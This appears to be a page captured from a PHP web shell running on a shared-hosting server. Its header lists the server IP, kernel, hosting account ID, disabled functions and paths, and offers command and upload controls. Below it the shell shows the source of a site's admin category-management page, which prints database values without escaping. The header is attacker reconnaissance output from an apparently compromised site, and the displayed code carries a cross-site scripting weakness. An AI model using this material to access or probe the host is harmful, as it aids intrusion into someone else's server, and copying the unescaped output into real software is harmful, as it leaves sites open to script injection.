|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/js/../at/sae1/src/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
require_once"_config.php";
if(!isset($_SESSION["logs"])){
redirect("index.php");
}
$data["records"]=resultSet($con,"select * from z_tbl_category");
?>
<!DOCTYPE html>
<html lang="en">
<?php include "_header.php"; ?>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" data-kt-app-toolbar-enabled="true" class="app-default">
<script>var defaultThemeMode = "light"; var themeMode; if ( document.documentElement ) { if ( document.documentElement.hasAttribute("data-theme-mode")) { themeMode = document.documentElement.getAttribute("data-theme-mode"); } else { if ( localStorage.getItem("data-theme") !== null ) { themeMode = localStorage.getItem("data-theme"); } else { themeMode = defaultThemeMode; } } if (themeMode === "system") { themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; } document.documentElement.setAttribute("data-theme", themeMode); }</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid " id="kt_app_page">
<?php include"_navbar.php"; ?>
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<?php include"_sidebar.php"; ?>
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<div class="d-flex flex-column flex-column-fluid">
<!-- Tool bar -->
<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
<div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
<h1 class="page-heading d-flex text-dark fw-bold fs-3 flex-column justify-content-center my-0">Category</h1>
<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
<li class="breadcrumb-item text-muted">
<a href="#" class="text-muted text-hover-primary">Home</a>
</li>
<li class="breadcrumb-item">
<span class="bullet bg-gray-400 w-5px h-2px"></span>
</li>
<li class="breadcrumb-item text-muted"><a href='category.php'>Category</a></li>
</ul>
</div>
</div>
</div>
<!-- Page Body -->
<div id="kt_app_content" class="app-content flex-column-fluid ">
<div id="kt_app_content_container" class="app-container container-xxl ">
<div class="card card-flush">
<div class="card-header align-items-center py-5 gap-2 gap-md-5">
<div class="card-title">
<div class="d-flex align-items-center position-relative my-1">
<i class="ki-duotone ki-magnifier fs-3 position-absolute ms-4"><span class="path1"></span><span class="path2"></span></i><input type="text" data-kt-ecommerce-category-filter="search" class="form-control form-control-solid w-250px ps-12" placeholder="Search Category">
</div>
</div>
<div class="card-toolbar">
<a href="#" class="btn btn-primary er fs-6 px-8 py-4 text-center" data-bs-toggle="modal" data-bs-target="#kt_modal_new_target">Add category</a>
</div>
</div>
<div class="card-body pt-0">
<div id="kt_ecommerce_category_table_wrapper" class="dataTables_wrapper dt-bootstrap4 no-footer">
<div class="table-responsive">
<table class="table align-middle table-row-dashed fs-6 gy-5" id="data-table">
<thead>
<tr class="text-start text-gray-400 fw-bold fs-7 text-uppercase gs-0">
<th class="w-10px pe-2">SNo</th>
<th class="min-w-250px">Category</th>
<th class="text-end ">Actions</th>
</tr>
</thead>
<tbody class="fw-semibold text-gray-600" id='tbody'>
<?php $i=0; foreach($data["records"] as $row): $i++; ?>
<tr>
<td><?php echo $i; ?></td>
<td><?php echo $row["cname"]; ?></td>
<td class='text-end'>
<button type="button" class="btn btn-sm btn-icon btn-active-color-primary edit" cid='<?php echo $row["cid"]; ?>' > <i class='fa fa-edit'></i> </button>
<button type="button" class="btn btn-sm btn-icon btn-active-color-primary del_row" cid='<?php echo $row["cid"]; ?>'> <i class='fa fa-trash'></i> </button>
<!--
<div class="text-end">
<a href="#" class="btn btn-sm btn-light btn-active-light-primary btn-flex btn-center" data-kt-menu-trigger="click" data-kt-menu-placement="bottom-end">
Actions
<i class="fa fa-angle-down fs-5 ms-1"></i></a>
<div class="menu menu-sub menu-sub-dropdown menu-column menu-rounded menu-gray-600 menu-state-bg-light-primary fw-semibold fs-7 w-125px py-4" data-kt-menu="true">
<div class="menu-item px-3">
<a href="#" class="menu-link px-3 edit" cid='<?php echo $row["cid"]; ?>' >
Edit
</a>
</div>
<div class="menu-item px-3">
<a href="#" class="menu-link px-3 del_row" cid='<?php echo $row["cid"]; ?>' >
Delete
</a>
</div>
</div>
</div>-->
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include "_footer_content.php"; ?>
</div>
</div>
</div>
</div>
<!-- Add Modal -->
<div class="modal fade" id="kt_modal_new_target" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered mw-650px">
<div class="modal-content rounded">
<div class="modal-header pb-0 border-0 justify-content-end">
<div class="btn btn-sm btn-icon btn-active-color-primary" data-bs-dismiss="modal">
<span class="svg-icon svg-icon-1">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect opacity="0.5" x="6" y="17.3137" width="16" height="2" rx="1" transform="rotate(-45 6 17.3137)" fill="currentColor" />
<rect x="7.41422" y="6" width="16" height="2" rx="1" transform="rotate(45 7.41422 6)" fill="currentColor" />
</svg>
</span>
</div>
</div>
<div class="modal-body scroll-y px-10 px-lg-15 pt-0 pb-15">
<form id="frm" class="form" action="">
<input type='hidden' name='action' id='action' value='Insert'>
<div class="mb-13 text-center">
<h1 class="mb-3">Add Category</h1>
<div class="text-muted fw-semibold fs-5">Add Product Category here.</div>
</div>
<div class="d-flex flex-column mb-8 fv-row">
<label class="d-flex align-items-center fs-6 fw-semibold mb-2">
<span class="required">Category Name</span>
<i class="fas fa-exclamation-circle ms-2 fs-7" data-bs-toggle="tooltip" title="Enter Category Name"></i>
</label>
<input type="text" class="form-control form-control-solid" placeholder="Enter Category Name" name="cname" id='cname' required />
</div>
<div class="text-center">
<button type="reset" id="kt_modal_new_target_cancel" class="btn btn-light me-3">Cancel</button>
<button type="submit" id="btn-submit" class="btn btn-primary btn-submit">
<span class="indicator-label">Submit</span>
<span class="indicator-progress">Please wait...
<span class="spinner-border spinner-border-sm align-middle ms-2"></span></span>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- Edit Modal -->
<div class="modal fade" id="kt_modal_edit_target" tabindex="-1" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered mw-650px">
<div class="modal-content rounded">
<div class="modal-header pb-0 border-0 justify-content-end">
<div class="btn btn-sm btn-icon btn-active-color-primary" data-bs-dismiss="modal">
<span class="svg-icon svg-icon-1">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<rect opacity="0.5" x="6" y="17.3137" width="16" height="2" rx="1" transform="rotate(-45 6 17.3137)" fill="currentColor" />
<rect x="7.41422" y="6" width="16" height="2" rx="1" transform="rotate(45 7.41422 6)" fill="currentColor" />
</svg>
</span>
</div>
</div>
<div class="modal-body scroll-y px-10 px-lg-15 pt-0 pb-15">
<form id="frm2" class="form" action="">
<input type='hidden' name='action' id='action' value='Edit'>
<input type='hidden' name='cid' id='cid2' value='0'>
<div class="mb-13 text-center">
<h1 class="mb-3">Edit Category</h1>
<div class="text-muted fw-semibold fs-5">Edit Product Category here.</div>
</div>
<div class="d-flex flex-column mb-8 fv-row">
<label class="d-flex align-items-center fs-6 fw-semibold mb-2">
<span class="required">Category Name</span>
<i class="fas fa-exclamation-circle ms-2 fs-7" data-bs-toggle="tooltip" title="Enter Category Name"></i>
</label>
<input type="text" class="form-control form-control-solid" placeholder="Enter Category Name" name="cname" id='cname2' required />
</div>
<div class="text-center">
<button type="reset" id="kt_modal_new_target_cancel" class="btn btn-light me-3">Cancel</button>
<button type="submit" id="btn-submit2" class="btn btn-primary btn-submit">
<span class="indicator-label">Submit</span>
<span class="indicator-progress">Please wait...
<span class="spinner-border spinner-border-sm align-middle ms-2"></span></span>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
<?php include "_footer.php";?>
<script>
$(document).ready(function(){
var currentRow = "";
//DataTable Intialize
myTable = $("#data-table").DataTable({
info: !1,
order: [],
pageLength: 10,
columnDefs: [{
orderable: !1,
targets: 0
}, {
orderable: !1
}]
}).on("draw", (function() {
})), document.querySelector('[data-kt-ecommerce-category-filter="search"]').addEventListener("keyup", (function(t) {
myTable.search(t.target.value).draw()
}));
//Clear Add Modal Inputs
function clearAddModal(){
$("#cname").val("");
$("#btn-submit").text("Submit");
}
//Clear Edit Modal Inputs
function clearEditModal(){
//$("#cname2").val("");
$("#cid2").val("0");
$("#btn-submit2").text("Submit");
}
//Open Edit Modal - in Table edit link
$("body").on("click",".edit",function(e){
e.preventDefault();
var cid = $(this).attr("cid");
var cname = $(this).closest("tr").find('td:eq(1)').text();
$("#cid2").val(cid);
$("#cname2").val(cname);
$("#kt_modal_edit_target").modal('show');
currentRow = $(this).closest("tr");
});
//Edit Modal Submit
$("#frm2").submit(function(event){
event.preventDefault();
$.ajax({
url:"_ajax_category.php",
type:"post",
data:$("#frm2").serialize(),
beforeSend:function(){
$("#frm2").find(".btn-submit").text('Please Wait...');
},
success:function(res){
clearEditModal();
var a = JSON.parse(res);
$(currentRow).find("td:eq(1)").html(a["td2"]);
Swal.fire({
text: "You have updated successfully",
icon: "success",
buttonsStyling: !1,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn fw-bold btn-primary"
}
});
}
});
});
//Add Modal Submit
$("#frm").submit(function(event){
event.preventDefault();
$.ajax({
url:"_ajax_category.php",
type:"post",
data:$("#frm").serialize(),
beforeSend:function(){
$("#frm").find(".btn-submit").text('Please Wait...');
},
success:function(res){
clearAddModal();
Swal.fire({
text: "Category added Successfully",
icon: "success",
buttonsStyling: !1,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn fw-bold btn-primary"
}
}).then((function() {
var row = JSON.parse(res);
myTable.row.add([row["td1"],row["td2"],row["td3"]]);
myTable.draw();
//KTMenu.init();
generateSno();
$("#tbody tr:last").find("td:eq(2)").attr("class","text-end");
}))
}
});
});
//Delete Row
$("body").on("click",".del_row",function(e){
e.preventDefault();
const n =$(this).closest("tr");
o = $(this).closest("tr").find('td:eq(1)').text();
var cid = $(this).attr("cid");
Swal.fire({
text: "Are you sure you want to delete " + o + "?",
icon: "warning",
showCancelButton: !0,
buttonsStyling: !1,
confirmButtonText: "Yes, delete!",
cancelButtonText: "No, cancel",
customClass: {
confirmButton: "btn fw-bold btn-danger",
cancelButton: "btn fw-bold btn-active-light-primary"
}
}).then((function(t) {
t.value ? Swal.fire({
text: "You have deleted " + o + "!.",
icon: "success",
buttonsStyling: !1,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn fw-bold btn-primary"
}
}).then((function() {
$.ajax({
url:"_ajax_category.php",
type:"post",
data:{cid:cid,action:"Delete"},
beforeSend:function(){
},
success:function(res){
n.remove()
}
});
})) : "cancel" === t.dismiss && Swal.fire({
text: o + " was not deleted.",
icon: "error",
buttonsStyling: !1,
confirmButtonText: "Ok, got it!",
customClass: {
confirmButton: "btn fw-bold btn-primary"
}
})
}))
});
function generateSno(){
var i = 1;
$("#tbody tr").each(function(){
$(this).find("td:eq(0)").text(i);
i++;
});
}
});
</script>
</body>
</html>